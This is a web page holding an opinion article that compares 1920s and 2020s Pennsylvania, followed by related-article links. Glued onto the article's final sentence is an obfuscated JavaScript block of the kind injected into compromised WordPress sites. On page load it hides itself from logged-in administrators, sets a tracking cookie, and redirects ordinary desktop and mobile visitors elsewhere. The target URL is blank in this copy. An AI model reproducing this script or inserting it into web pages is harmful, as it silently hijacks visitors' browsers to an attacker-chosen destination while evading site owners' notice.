It's the roaring 20's in PA all over again - Paycheck

It’s the roaring 20’s in PA all over again

Like the rest of the planet, Pennsylvanians now find themselves in a new decade.  For a brief moment, social media seemed to take a respite from politics to present images of the Roaring Twenties, although usually the Twenties as imagined by Hollywood players with an unlimited  rather than the actual world of our great-grandparents. It takes little imagination to draw contrasts between the eras:  one would search in vain for a house illuminated by gas, much less a raccoon coat, in contemporary Pennsylvania, while the fact that most Pennsylvanians can conjure up the resources of the Library of Alexandria using a phone smaller than a deck of cards would have been utterly outside the imagination of our forebears. More instructive might be a glance at what has not changed over a century:  Pennsylvania remains a center of innovation, energy development, transportation, and agriculture. It was unquestionably easier to get one’s hands on the fruits of innovation a century ago.  A steel ingot from Bethlehem or the myriad of goods produced by Westinghouse or General Electric were nothing if not solid.  They were also the end result of the cutting-edge technology of the day. A century later that innovative frontier is found in robotics, in drug research, and in software development—all of which can be found in abundance in Pennsylvania. Coal may be little more than a distant memory in most of Pennsylvania, found mostly in black-and-white photographs and sepia-toned memories, while “sweet Pennsylvania crude” was largely displaced by the discovery of oil in the Permian Basin—but the shale revolution is unmistakably here to stay, and an extraordinary economic boost to more than a few communities long assumed to be caught in an inexorable decline. Geography alone dictates that Pennsylvania remains a transportation hub, from the construction of the first National Road to today’s network of highways, railroads, and airports, which connect a huge portion of the American publican and in the case of the airports often serve as a departure point for the Old World. Finally, agriculture.  Farming remains the largest occupation in Pennsylvania, and the same research and innovation that are shaping the world of high technology continue to shape agriculture in Pennsylvania in ways that rarely capture the attention of those detailing that moment’s “wave of the future.” So while bathtub gin and flappers may be in short supply these days in the Keystone State, Pennsylvania—which not at all incidentally has again become something of a magnet for immigrants—can reasonably be said to be traveling on a path charted a hundred years ago.var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};
Michael O'Connell

Related Articles

How Colleges and Universities Are Adapting During The Pandemic

September 2, 2020

Colleges and universities are facing a daunting dilemma across the country for the fall semester with Covid19 lingering.

Read more

Brighter Futures for Small PA Towns

August 26, 2020

A walk along Main Street in Sharon makes it clear that that never really happened, and suggests a real comeback in the decades since then. 

Read more

The Uncertain Political Future of Western PA

August 19, 2020

Ties between organized labor and Democrats in Western Pennsylvania run deep.

Read more
Category Sidebar

Thanks for signing the pledge! Click here to share this on Facebook.